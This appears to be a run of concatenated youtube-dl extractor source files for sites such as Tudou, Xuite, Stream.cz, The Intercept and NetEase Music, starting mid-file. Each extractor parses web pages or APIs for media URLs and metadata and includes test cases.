        if len_parts > 1:
            self.to_screen('%s: found %s parts' % (video_id, len_parts))

        def part_func(partnum):
            part = parts[partnum]
            part_id = part['k']
            final_url = self._url_for_id(part_id, quality)
            ext = (final_url.split('?')[0]).split('.')[-1]
            return [{
                'id': '%s' % part_id,
                'url': final_url,
                'ext': ext,
                'title': title,
                'thumbnail': thumbnail_url,
                'description': description,
                'view_count': view_count,
                'timestamp': timestamp,
                'duration': float_or_none(part.get('seconds'), 1000),
                'filesize': int_or_none(part.get('size')),
                'http_headers': {
                    'Referer': self._PLAYER_URL,
                },
            }]

        entries = InAdvancePagedList(part_func, len_parts, 1)

        return {
            '_type': 'multi_video',
            'entries': entries,
            'id': video_id,
            'title': title,
        }


class TudouPlaylistIE(InfoExtractor):
    IE_NAME = 'tudou:playlist'
    _VALID_URL = r'https?://(?:www\.)?tudou\.com/listplay/(?P<id>[\w-]{11})\.html'
    _TESTS = [{
        'url': 'http://www.tudou.com/listplay/zzdE77v6Mmo.html',
        'info_dict': {
            'id': 'zzdE77v6Mmo',
        },
        'playlist_mincount': 209,
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)
        playlist_data = self._download_json(
            'http://www.tudou.com/tvp/plist.action?lcode=%s' % playlist_id, playlist_id)
        entries = [self.url_result(
            'http://www.tudou.com/programs/view/%s' % item['icode'],
            'Tudou', item['icode'],
            item['kw']) for item in playlist_data['items']]
        return self.playlist_result(entries, playlist_id)


class TudouAlbumIE(InfoExtractor):
    IE_NAME = 'tudou:album'
    _VALID_URL = r'https?://(?:www\.)?tudou\.com/album(?:cover|play)/(?P<id>[\w-]{11})'
    _TESTS = [{
        'url': 'http://www.tudou.com/albumplay/v5qckFJvNJg.html',
        'info_dict': {
            'id': 'v5qckFJvNJg',
        },
        'playlist_mincount': 45,
    }]

    def _real_extract(self, url):
        album_id = self._match_id(url)
        album_data = self._download_json(
            'http://www.tudou.com/tvp/alist.action?acode=%s' % album_id, album_id)
        entries = [self.url_result(
            'http://www.tudou.com/programs/view/%s' % item['icode'],
            'Tudou', item['icode'],
            item['kw']) for item in album_data['items']]
        return self.playlist_result(entries, album_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import parse_duration


class Canalc2IE(InfoExtractor):
    IE_NAME = 'canalc2.tv'
    _VALID_URL = r'https?://(?:(?:www\.)?canalc2\.tv/video/|archives-canalc2\.u-strasbg\.fr/video\.asp\?.*\bidVideo=)(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.canalc2.tv/video/12163',
        'md5': '060158428b650f896c542dfbb3d6487f',
        'info_dict': {
            'id': '12163',
            'ext': 'flv',
            'title': 'Terrasses du Numérique',
            'duration': 122,
        },
        'params': {
            'skip_download': True,  # Requires rtmpdump
        }
    }, {
        'url': 'http://archives-canalc2.u-strasbg.fr/video.asp?idVideo=11427&voir=oui',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://www.canalc2.tv/video/%s' % video_id, video_id)

        formats = []
        for _, video_url in re.findall(r'file\s*=\s*(["\'])(.+?)\1', webpage):
            if video_url.startswith('rtmp://'):
                rtmp = re.search(
                    r'^(?P<url>rtmp://[^/]+/(?P<app>.+/))(?P<play_path>mp4:.+)$', video_url)
                formats.append({
                    'url': rtmp.group('url'),
                    'format_id': 'rtmp',
                    'ext': 'flv',
                    'app': rtmp.group('app'),
                    'play_path': rtmp.group('play_path'),
                    'page_url': url,
                })
            else:
                formats.append({
                    'url': video_url,
                    'format_id': 'http',
                })
        self._sort_formats(formats)

        title = self._html_search_regex(
            r'(?s)class="[^"]*col_description[^"]*">.*?<h3>(.*?)</h3>', webpage, 'title')
        duration = parse_duration(self._search_regex(
            r'id=["\']video_duree["\'][^>]*>([^<]+)',
            webpage, 'duration', fatal=False))

        return {
            'id': video_id,
            'title': title,
            'duration': duration,
            'formats': formats,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import base64

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote
from ..utils import (
    ExtractorError,
    parse_iso8601,
    parse_duration,
)


class XuiteIE(InfoExtractor):
    IE_DESC = '隨意窩Xuite影音'
    _REGEX_BASE64 = r'(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?'
    _VALID_URL = r'https?://vlog\.xuite\.net/(?:play|embed)/(?P<id>%s)' % _REGEX_BASE64
    _TESTS = [{
        # Audio
        'url': 'http://vlog.xuite.net/play/RGkzc1ZULTM4NjA5MTQuZmx2',
        'md5': 'e79284c87b371424885448d11f6398c8',
        'info_dict': {
            'id': '3860914',
            'ext': 'mp3',
            'title': '孤單南半球-歐德陽',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 247.246,
            'timestamp': 1314932940,
            'upload_date': '20110902',
            'uploader': '阿能',
            'uploader_id': '15973816',
            'categories': ['個人短片'],
        },
    }, {
        # Video with only one format
        'url': 'http://vlog.xuite.net/play/WUxxR2xCLTI1OTI1MDk5LmZsdg==',
        'md5': '21f7b39c009b5a4615b4463df6eb7a46',
        'info_dict': {
            'id': '25925099',
            'ext': 'mp4',
            'title': 'BigBuckBunny_320x180',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 596.458,
            'timestamp': 1454242500,
            'upload_date': '20160131',
            'uploader': 'yan12125',
            'uploader_id': '12158353',
            'categories': ['個人短片'],
            'description': 'http://download.blender.org/peach/bigbuckbunny_movies/BigBuckBunny_320x180.mp4',
        },
    }, {
        # Video with two formats
        'url': 'http://vlog.xuite.net/play/bWo1N1pLLTIxMzAxMTcwLmZsdg==',
        'md5': '1166e0f461efe55b62e26a2d2a68e6de',
        'info_dict': {
            'id': '21301170',
            'ext': 'mp4',
            'title': '暗殺教室 02',
            'description': '字幕:【極影字幕社】',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 1384.907,
            'timestamp': 1421481240,
            'upload_date': '20150117',
            'uploader': '我只是想認真點',
            'uploader_id': '242127761',
            'categories': ['電玩動漫'],
        },
        'skip': 'Video removed',
    }, {
        # Video with encoded media id
        # from http://forgetfulbc.blogspot.com/2016/06/date.html
        'url': 'http://vlog.xuite.net/embed/cE1xbENoLTI3NDQ3MzM2LmZsdg==?ar=0&as=0',
        'info_dict': {
            'id': 'cE1xbENoLTI3NDQ3MzM2LmZsdg==',
            'ext': 'mp4',
            'title': '男女平權只是口號？專家解釋約會時男生是否該幫女生付錢 (中字)',
            'description': 'md5:f0abdcb69df300f522a5442ef3146f2a',
            'timestamp': 1466160960,
            'upload_date': '20160617',
            'uploader': 'B.C. & Lowy',
            'uploader_id': '232279340',
        },
    }, {
        'url': 'http://vlog.xuite.net/play/S1dDUjdyLTMyOTc3NjcuZmx2/%E5%AD%AB%E7%87%95%E5%A7%BF-%E7%9C%BC%E6%B7%9A%E6%88%90%E8%A9%A9',
        'only_matching': True,
    }]

    @staticmethod
    def base64_decode_utf8(data):
        return base64.b64decode(data.encode('utf-8')).decode('utf-8')

    @staticmethod
    def base64_encode_utf8(data):
        return base64.b64encode(data.encode('utf-8')).decode('utf-8')

    def _extract_flv_config(self, encoded_media_id):
        flv_config = self._download_xml(
            'http://vlog.xuite.net/flash/player?media=%s' % encoded_media_id,
            'flv config')
        prop_dict = {}
        for prop in flv_config.findall('./property'):
            prop_id = self.base64_decode_utf8(prop.attrib['id'])
            # CDATA may be empty in flv config
            if not prop.text:
                continue
            encoded_content = self.base64_decode_utf8(prop.text)
            prop_dict[prop_id] = compat_urllib_parse_unquote(encoded_content)
        return prop_dict

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        error_msg = self._search_regex(
            r'<div id="error-message-content">([^<]+)',
            webpage, 'error message', default=None)
        if error_msg:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error_msg),
                expected=True)

        encoded_media_id = self._search_regex(
            r'attributes\.name\s*=\s*"([^"]+)"', webpage,
            'encoded media id', default=None)
        if encoded_media_id is None:
            video_id = self._html_search_regex(
                r'data-mediaid="(\d+)"', webpage, 'media id')
            encoded_media_id = self.base64_encode_utf8(video_id)
        flv_config = self._extract_flv_config(encoded_media_id)

        FORMATS = {
            'audio': 'mp3',
            'video': 'mp4',
        }

        formats = []
        for format_tag in ('src', 'hq_src'):
            video_url = flv_config.get(format_tag)
            if not video_url:
                continue
            format_id = self._search_regex(
                r'\bq=(.+?)\b', video_url, 'format id', default=format_tag)
            formats.append({
                'url': video_url,
                'ext': FORMATS.get(flv_config['type'], 'mp4'),
                'format_id': format_id,
                'height': int(format_id) if format_id.isnumeric() else None,
            })
        self._sort_formats(formats)

        timestamp = flv_config.get('publish_datetime')
        if timestamp:
            timestamp = parse_iso8601(timestamp + ' +0800', ' ')

        category = flv_config.get('category')
        categories = [category] if category else []

        return {
            'id': video_id,
            'title': flv_config['title'],
            'description': flv_config.get('description'),
            'thumbnail': flv_config.get('thumb'),
            'timestamp': timestamp,
            'uploader': flv_config.get('author_name'),
            'uploader_id': flv_config.get('author_id'),
            'duration': parse_duration(flv_config.get('duration')),
            'categories': categories,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor


class RingTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?ringtv\.craveonline\.com/(?P<type>news|videos/video)/(?P<id>[^/?#]+)'
    _TEST = {
        'url': 'http://ringtv.craveonline.com/news/310833-luis-collazo-says-victor-ortiz-better-not-quit-on-jan-30',
        'md5': 'd25945f5df41cdca2d2587165ac28720',
        'info_dict': {
            'id': '857645',
            'ext': 'mp4',
            'title': 'Video: Luis Collazo says Victor Ortiz "better not quit on Jan. 30" - Ring TV',
            'description': 'Luis Collazo is excited about his Jan. 30 showdown with fellow former welterweight titleholder Victor Ortiz at Barclays Center in his hometown of Brooklyn. The SuperBowl week fight headlines a Golden Boy Live! card on Fox Sports 1.',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id').split('-')[0]
        webpage = self._download_webpage(url, video_id)

        if mobj.group('type') == 'news':
            video_id = self._search_regex(
                r'''(?x)<iframe[^>]+src="http://cms\.springboardplatform\.com/
                        embed_iframe/[0-9]+/video/([0-9]+)/''',
                webpage, 'real video ID')
        title = self._og_search_title(webpage)
        description = self._html_search_regex(
            r'addthis:description="([^"]+)"',
            webpage, 'description', fatal=False)
        final_url = 'http://ringtv.craveonline.springboardplatform.com/storage/ringtv.craveonline.com/conversion/%s.mp4' % video_id
        thumbnail_url = 'http://ringtv.craveonline.springboardplatform.com/storage/ringtv.craveonline.com/snapshots/%s.jpg' % video_id

        return {
            'id': video_id,
            'url': final_url,
            'title': title,
            'thumbnail': thumbnail_url,
            'description': description,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import int_or_none


class FranceInterIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?franceinter\.fr/player/reecouter\?play=(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.franceinter.fr/player/reecouter?play=793962',
        'md5': '4764932e466e6f6c79c317d2e74f6884',
        'info_dict': {
            'id': '793962',
            'ext': 'mp3',
            'title': 'L’Histoire dans les jeux vidéo',
            'description': 'md5:7e93ddb4451e7530022792240a3049c7',
            'timestamp': 1387369800,
            'upload_date': '20131218',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        path = self._search_regex(
            r'<a id="player".+?href="([^"]+)"', webpage, 'video url')
        video_url = 'http://www.franceinter.fr/' + path

        title = self._html_search_regex(
            r'<span class="title-diffusion">(.+?)</span>', webpage, 'title')
        description = self._html_search_regex(
            r'<span class="description">(.*?)</span>',
            webpage, 'description', fatal=False)
        timestamp = int_or_none(self._search_regex(
            r'data-date="(\d+)"', webpage, 'upload date', fatal=False))

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'formats': [{
                'url': video_url,
                'vcodec': 'none',
            }],
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import remove_start


class TeleMBIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?telemb\.be/(?P<display_id>.+?)_d_(?P<id>\d+)\.html'
    _TESTS = [
        {
            'url': 'http://www.telemb.be/mons-cook-with-danielle-des-cours-de-cuisine-en-anglais-_d_13466.html',
            'md5': 'f45ea69878516ba039835794e0f8f783',
            'info_dict': {
                'id': '13466',
                'display_id': 'mons-cook-with-danielle-des-cours-de-cuisine-en-anglais-',
                'ext': 'mp4',
                'title': 'Mons - Cook with Danielle : des cours de cuisine en anglais ! - Les reportages',
                'description': 'md5:bc5225f47b17c309761c856ad4776265',
                'thumbnail': 're:^http://.*\.(?:jpg|png)$',
            }
        },
        {
            # non-ASCII characters in download URL
            'url': 'http://telemb.be/les-reportages-havre-incendie-mortel_d_13514.html',
            'md5': '6e9682736e5ccd4eab7f21e855350733',
            'info_dict': {
                'id': '13514',
                'display_id': 'les-reportages-havre-incendie-mortel',
                'ext': 'mp4',
                'title': 'Havré - Incendie mortel - Les reportages',
                'description': 'md5:5e54cb449acb029c2b7734e2d946bd4a',
                'thumbnail': 're:^http://.*\.(?:jpg|png)$',
            }
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        formats = []
        for video_url in re.findall(r'file\s*:\s*"([^"]+)"', webpage):
            fmt = {
                'url': video_url,
                'format_id': video_url.split(':')[0]
            }
            rtmp = re.search(r'^(?P<url>rtmp://[^/]+/(?P<app>.+))/(?P<playpath>mp4:.+)$', video_url)
            if rtmp:
                fmt.update({
                    'play_path': rtmp.group('playpath'),
                    'app': rtmp.group('app'),
                    'player_url': 'http://p.jwpcdn.com/6/10/jwplayer.flash.swf',
                    'page_url': 'http://www.telemb.be',
                    'preference': -1,
                })
            formats.append(fmt)
        self._sort_formats(formats)

        title = remove_start(self._og_search_title(webpage), 'TéléMB : ')
        description = self._html_search_regex(
            r'<meta property="og:description" content="(.+?)" />',
            webpage, 'description', fatal=False)
        thumbnail = self._og_search_thumbnail(webpage)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'formats': formats,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import hashlib
import time

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    sanitized_Request,
)


def _get_api_key(api_path):
    if api_path.endswith('?'):
        api_path = api_path[:-1]

    api_key = 'fb5f58a820353bd7095de526253c14fd'
    a = '{0:}{1:}{2:}'.format(api_key, api_path, int(round(time.time() / 24 / 3600)))
    return hashlib.md5(a.encode('ascii')).hexdigest()


class StreamCZIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?stream\.cz/.+/(?P<id>[0-9]+)'
    _API_URL = 'http://www.stream.cz/API'

    _TESTS = [{
        'url': 'http://www.stream.cz/peklonataliri/765767-ecka-pro-deti',
        'md5': '6d3ca61a8d0633c9c542b92fcb936b0c',
        'info_dict': {
            'id': '765767',
            'ext': 'mp4',
            'title': 'Peklo na talíři: Éčka pro děti',
            'description': 'Taška s grónskou pomazánkou a další pekelnosti ZDE',
            'thumbnail': 're:^http://im.stream.cz/episode/52961d7e19d423f8f06f0100',
            'duration': 256,
        },
    }, {
        'url': 'http://www.stream.cz/blanik/10002447-tri-roky-pro-mazanka',
        'md5': 'e54a254fb8b871968fd8403255f28589',
        'info_dict': {
            'id': '10002447',
            'ext': 'mp4',
            'title': 'Kancelář Blaník: Tři roky pro Mazánka',
            'description': 'md5:3862a00ba7bf0b3e44806b544032c859',
            'thumbnail': 're:^http://im.stream.cz/episode/537f838c50c11f8d21320000',
            'duration': 368,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        api_path = '/episode/%s' % video_id

        req = sanitized_Request(self._API_URL + api_path)
        req.add_header('Api-Password', _get_api_key(api_path))
        data = self._download_json(req, video_id)

        formats = []
        for quality, video in enumerate(data['video_qualities']):
            for f in video['formats']:
                typ = f['type'].partition('/')[2]
                qlabel = video.get('quality_label')
                formats.append({
                    'format_note': '%s-%s' % (qlabel, typ) if qlabel else typ,
                    'format_id': '%s-%s' % (typ, f['quality']),
                    'url': f['source'],
                    'height': int_or_none(f['quality'].rstrip('p')),
                    'quality': quality,
                })
        self._sort_formats(formats)

        image = data.get('image')
        if image:
            thumbnail = self._proto_relative_url(
                image.replace('{width}', '1240').replace('{height}', '697'),
                scheme='http:',
            )
        else:
            thumbnail = None

        stream = data.get('_embedded', {}).get('stream:show', {}).get('name')
        if stream:
            title = '%s: %s' % (stream, data['name'])
        else:
            title = data['name']

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
            'description': data.get('web_site_text'),
            'duration': int_or_none(data.get('duration')),
            'view_count': int_or_none(data.get('views')),
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    parse_iso8601,
    int_or_none,
    ExtractorError,
)


class TheInterceptIE(InfoExtractor):
    _VALID_URL = r'https://theintercept.com/fieldofvision/(?P<id>[^/?#]+)'
    _TESTS = [{
        'url': 'https://theintercept.com/fieldofvision/thisisacoup-episode-four-surrender-or-die/',
        'md5': '145f28b41d44aab2f87c0a4ac8ec95bd',
        'info_dict': {
            'id': '46214',
            'ext': 'mp4',
            'title': '#ThisIsACoup – Episode Four: Surrender or Die',
            'description': 'md5:74dd27f0e2fbd50817829f97eaa33140',
            'timestamp': 1450429239,
            'upload_date': '20151218',
            'comment_count': int,
        }
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)

        json_data = self._parse_json(self._search_regex(
            r'initialStoreTree\s*=\s*(?P<json_data>{.+})', webpage,
            'initialStoreTree'), display_id)

        for post in json_data['resources']['posts'].values():
            if post['slug'] == display_id:
                return {
                    '_type': 'url_transparent',
                    'url': 'jwplatform:%s' % post['fov_videoid'],
                    'id': compat_str(post['ID']),
                    'display_id': display_id,
                    'title': post['title'],
                    'description': post.get('excerpt'),
                    'timestamp': parse_iso8601(post.get('date')),
                    'comment_count': int_or_none(post.get('comments_number')),
                }
        raise ExtractorError('Unable to find the current post')






# coding: utf-8
from __future__ import unicode_literals

from .mtv import MTVServicesInfoExtractor


class TVLandIE(MTVServicesInfoExtractor):
    IE_NAME = 'tvland.com'
    _VALID_URL = r'https?://(?:www\.)?tvland\.com/(?:video-clips|episodes)/(?P<id>[^/?#.]+)'
    _FEED_URL = 'http://www.tvland.com/feeds/mrss/'
    _TESTS = [{
        # Geo-restricted. Without a proxy metadata are still there. With a
        # proxy it redirects to http://m.tvland.com/app/
        'url': 'http://www.tvland.com/episodes/hqhps2/everybody-loves-raymond-the-invasion-ep-048',
        'info_dict': {
            'description': 'md5:80973e81b916a324e05c14a3fb506d29',
            'title': 'The Invasion',
        },
        'playlist': [],
    }, {
        'url': 'http://www.tvland.com/video-clips/zea2ev/younger-younger--hilary-duff---little-lies',
        'md5': 'e2c6389401cf485df26c79c247b08713',
        'info_dict': {
            'id': 'b8697515-4bbe-4e01-83d5-fa705ce5fa88',
            'ext': 'mp4',
            'title': 'Younger|December 28, 2015|2|NO-EPISODE#|Younger: Hilary Duff - Little Lies',
            'description': 'md5:7d192f56ca8d958645c83f0de8ef0269',
            'upload_date': '20151228',
            'timestamp': 1451289600,
        },
    }]






# coding: utf-8
from __future__ import unicode_literals

from hashlib import md5
from base64 import b64encode
from datetime import datetime
import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_str,
    compat_itertools_count,
)
from ..utils import (
    sanitized_Request,
    float_or_none,
)


class NetEaseMusicBaseIE(InfoExtractor):
    _FORMATS = ['bMusic', 'mMusic', 'hMusic']
    _NETEASE_SALT = '3go8&$8*3*3h0k(2)2'
    _API_BASE = 'http://music.163.com/api/'

    @classmethod
    def _encrypt(cls, dfsid):
        salt_bytes = bytearray(cls._NETEASE_SALT.encode('utf-8'))
        string_bytes = bytearray(compat_str(dfsid).encode('ascii'))
        salt_len = len(salt_bytes)
        for i in range(len(string_bytes)):
            string_bytes[i] = string_bytes[i] ^ salt_bytes[i % salt_len]
        m = md5()
        m.update(bytes(string_bytes))
        result = b64encode(m.digest()).decode('ascii')
        return result.replace('/', '_').replace('+', '-')

    def extract_formats(self, info):
        formats = []
        for song_format in self._FORMATS:
            details = info.get(song_format)
            if not details:
                continue
            song_file_path = '/%s/%s.%s' % (
                self._encrypt(details['dfsId']), details['dfsId'], details['extension'])

            # 203.130.59.9, 124.40.233.182, 115.231.74.139, etc is a reverse proxy-like feature
            # from NetEase's CDN provider that can be used if m5.music.126.net does not
            # work, especially for users outside of Mainland China
            # via: https://github.com/JixunMoe/unblock-163/issues/3#issuecomment-163115880
            for host in ('http://m5.music.126.net', 'http://115.231.74.139/m1.music.126.net',
                         'http://124.40.233.182/m1.music.126.net', 'http://203.130.59.9/m1.music.126.net'):
                song_url = host + song_file_path
                if self._is_valid_url(song_url, info['id'], 'song'):
                    formats.append({
                        'url': song_url,
                        'ext': details.get('extension'),
                        'abr': float_or_none(details.get('bitrate'), scale=1000),
                        'format_id': song_format,
                        'filesize': details.get('size'),
                        'asr': details.get('sr')
                    })
                    break
        return formats

    @classmethod
    def convert_milliseconds(cls, ms):
        return int(round(ms / 1000.0))

    def query_api(self, endpoint, video_id, note):
        req = sanitized_Request('%s%s' % (self._API_BASE, endpoint))
        req.add_header('Referer', self._API_BASE)
        return self._download_json(req, video_id, note)


class NetEaseMusicIE(NetEaseMusicBaseIE):
    IE_NAME = 'netease:song'
    IE_DESC = '网易云音乐'
    _VALID_URL = r'https?://music\.163\.com/(#/)?song\?id=(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://music.163.com/#/song?id=32102397',
        'md5': 'f2e97280e6345c74ba9d5677dd5dcb45',
        'info_dict': {
            'id': '32102397',
            'ext': 'mp3',
            'title': 'Bad Blood (feat. Kendrick Lamar)',
            'creator': 'Taylor Swift / Kendrick Lamar',
            'upload_date': '20150517',
            'timestamp': 1431878400,
            'description': 'md5:a10a54589c2860300d02e1de821eb2ef',
        },
        'skip': 'Blocked outside Mainland China',
    }, {
        'note': 'No lyrics translation.',
        'url': 'http://music.163.com/#/song?id=29822014',
        'info_dict': {
            'id': '29822014',
            'ext': 'mp3',
            'title': '听见下雨的声音',
            'creator': '周杰伦',
            'upload_date': '20141225',
            'timestamp': 1419523200,
            'description': 'md5:a4d8d89f44656af206b7b2555c0bce6c',
        },
        'skip': 'Blocked outside Mainland China',
    }, {
        'note': 'No lyrics.',
        'url': 'http://music.163.com/song?id=17241424',
        'info_dict': {
            'id': '17241424',
            'ext': 'mp3',
            'title': 'Opus 28',
            'creator': 'Dustin O\'Halloran',
            'upload_date': '20080211',
            'timestamp': 1202745600,
        },
        'skip': 'Blocked outside Mainland China',
    }, {
        'note': 'Has translated name.',
        'url': 'http://music.163.com/#/song?id=22735043',
        'info_dict': {
            'id': '22735043',
            'ext': 'mp3',
            'title': '소원을 말해봐 (Genie)',
            'creator': '少女时代',
            'description': 'md5:79d99cc560e4ca97e0c4d86800ee4184',
            'upload_date': '20100127',
            'timestamp': 1264608000,
            'alt_title': '说出愿望吧(Genie)',
        },
        'skip': 'Blocked outside Mainland China',
    }]

    def _process_lyrics(self, lyrics_info):
        original = lyrics_info.get('lrc', {}).get('lyric')
        translated = lyrics_info.get('tlyric', {}).get('lyric')

        if not translated:
            return original

        lyrics_expr = r'(\[[0-9]{2}:[0-9]{2}\.[0-9]{2,}\])([^\n]+)'
        original_ts_texts = re.findall(lyrics_expr, original)
        translation_ts_dict = dict(
            (time_stamp, text) for time_stamp, text in re.findall(lyrics_expr, translated)
        )
        lyrics = '\n'.join([
            '%s%s / %s' % (time_stamp, text, translation_ts_dict.get(time_stamp, ''))
            for time_stamp, text in original_ts_texts
        ])
        return lyrics

    def _real_extract(self, url):
        song_id = self._match_id(url)

        params = {
            'id': song_id,
            'ids': '[%s]' % song_id
        }
        info = self.query_api(
            'song/detail?' + compat_urllib_parse_urlencode(params),
            song_id, 'Downloading song info')['songs'][0]

        formats = self.extract_formats(info)
        self._sort_formats(formats)

        lyrics_info = self.query_api(
            'song/lyric?id=%s&lv=-1&tv=-1' % song_id,
            song_id, 'Downloading lyrics data')
        lyrics = self._process_lyrics(lyrics_info)

        alt_title = None
        if info.get('transNames'):
            alt_title = '/'.join(info.get('transNames'))

        return {
            'id': song_id,
            'title': info['name'],
            'alt_title': alt_title,
            'creator': ' / '.join([artist['name'] for artist in info.get('artists', [])]),
            'timestamp': self.convert_milliseconds(info.get('album', {}).get('publishTime')),
            'thumbnail': info.get('album', {}).get('picUrl'),
            'duration': self.convert_milliseconds(info.get('duration', 0)),
            'description': lyrics,
            'formats': formats,
        }


class NetEaseMusicAlbumIE(NetEaseMusicBaseIE):
    IE_NAME = 'netease:album'
    IE_DESC = '网易云音乐 - 专辑'
    _VALID_URL = r'https?://music\.163\.com/(#/)?album\?id=(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://music.163.com/#/album?id=220780',
        'info_dict': {
            'id': '220780',
            'title': 'B\'day',
        },
        'playlist_count': 23,
        'skip': 'Blocked outside Mainland China',
    }

    def _real_extract(self, url):
        album_id = self._match_id(url)

        info = self.query_api(
            'album/%s?id=%s' % (album_id, album_id),
            album_id, 'Downloading album data')['album']

        name = info['name']
        desc = info.get('description')
        entries = [
            self.url_result('http://music.163.com/#/song?id=%s' % song['id'],
                            'NetEaseMusic', song['id'])
            for song in info['songs']
        ]
        return self.playlist_result(entries, album_id, name, desc)


class NetEaseMusicSingerIE(NetEaseMusicBaseIE):
    IE_NAME = 'netease:singer'
    IE_DESC = '网易云音乐 - 歌手'
    _VALID_URL = r'https?://music\.163\.com/(#/)?artist\?id=(?P<id>[0-9]+)'
    _TESTS = [{
        'note': 'Singer has aliases.',
        'url': 'http://music.163.com/#/artist?id=10559',
        'info_dict': {
            'id': '10559',
            'title': '张惠妹 - aMEI;阿密特',
        },
        'playlist_count': 50,
        'skip': 'Blocked outside Mainland China',
    }, {
        'note': 'Singer has translated name.',
        'url': 'http://music.163.com/#/artist?id=124098',
        'info_dict': {
            'id': '124098',
            'title': '李昇基 - 이승기',
        },
        'playlist_count': 50,
        'skip': 'Blocked outside Mainland China',
    }]

    def _real_extract(self, url):
        singer_id = self._match_id(url)

        info = self.query_api(
            'artist/%s?id=%s' % (singer_id, singer_id),
            singer_id, 'Downloading singer data')

        name = info['artist']['name']
        if info['artist']['trans']:
            name = '%s - %s' % (name, info['artist']['trans'])
        if info['artist']['alias']:
            name = '%s - %s' % (name, ';'.join(info['artist']['alias']))

        entries = [
            self.url_result('http://music.163.com/#/song?id=%s' % song['id'],
                            'NetEaseMusic', song['id'])
            for song in info['hotSongs']
        ]
        return self.playlist_result(entries, singer_id, name)


class NetEaseMusicListIE(NetEaseMusicBaseIE):
    IE_NAME = 'netease:playlist'
    IE_DESC = '网易云音乐 - 歌单'
    _VALID_URL = r'https?://music\.163\.com/(#/)?(playlist|discover/toplist)\?id=(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://music.163.com/#/playlist?id=79177352',
        'info_dict': {
            'id': '79177352',
            'title': 'Billboard 2007 Top 100',
            'description': 'md5:12fd0819cab2965b9583ace0f8b7b022'
        },
        'playlist_count': 99,
        'skip': 'Blocked outside Mainland China',
    }, {
        'note': 'Toplist/Charts sample',
        'url': 'http://music.163.com/#/discover/toplist?id=3733003',
        'info_dict': {
            'id': '3733003',
            'title': 're:韩国Melon排行榜周榜 [0-9]{4}-[0-9]{2}-[0-9]{2}',
            'description': 'md5:73ec782a612711cadc7872d9c1e134fc',
        },
        'playlist_count': 50,
        'skip': 'Blocked outside Mainland China',
    }]

    def _real_extract(self, url):
        list_id = self._match_id(url)

        info = self.query_api(
            'playlist/detail?id=%s&lv=-1&tv=-1' % list_id,
            list_id, 'Downloading playlist data')['result']

        name = info['name']
        desc = info.get('description')

        if info.get('specialType') == 10:  # is a chart/toplist
            datestamp = datetime.fromtimestamp(
                self.convert_milliseconds(info['updateTime'])).strftime('%Y-%m-%d')
            name = '%s %s' % (name, datestamp)

        entries = [
            self.url_result('http://music.163.com/#/song?id=%s' % song['id'],
                            'NetEaseMusic', song['id'])
            for song in info['tracks']
        ]
        return self.playlist_result(entries, list_id, name, desc)


class NetEaseMusicMvIE(NetEaseMusicBaseIE):
    IE_NAME = 'netease:mv'
    IE_DESC = '网易云音乐 - MV'
    _VALID_URL = r'https?://music\.163\.com/(#/)?mv\?id=(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://music.163.com/#/mv?id=415350',
        'info_dict': {
            'id': '415350',
            'ext': 'mp4',
            'title': '이럴거면 그러지말지',
            'description': '白雅言自作曲唱甜蜜爱情',
            'creator': '白雅言',
            'upload_date': '20150520',
        },
        'skip': 'Blocked outside Mainland China',
    }

    def _real_extract(self, url):
        mv_id = self._match_id(url)

        info = self.query_api(
            'mv/detail?id=%s&type=mp4' % mv_id,
            mv_id, 'Downloading mv info')['data']

        formats = [
            {'url': mv_url, 'ext': 'mp4', 'format_id': '%sp' % brs, 'height': int(brs)}
            for brs, mv_url in info['brs'].items()
        ]
        self._sort_formats(formats)

        return {
            'id': mv_id,
            'title': info['name'],
            'description': info.get('desc') or info.get('briefDesc'),
            'creator': info['artistName'],
            'upload_date': info['publishTime'].replace('-', ''),
            'formats': formats,
            'thumbnail': info.get('cover'),
            'duration': self.convert_milliseconds(info.get('duration', 0)),
        }


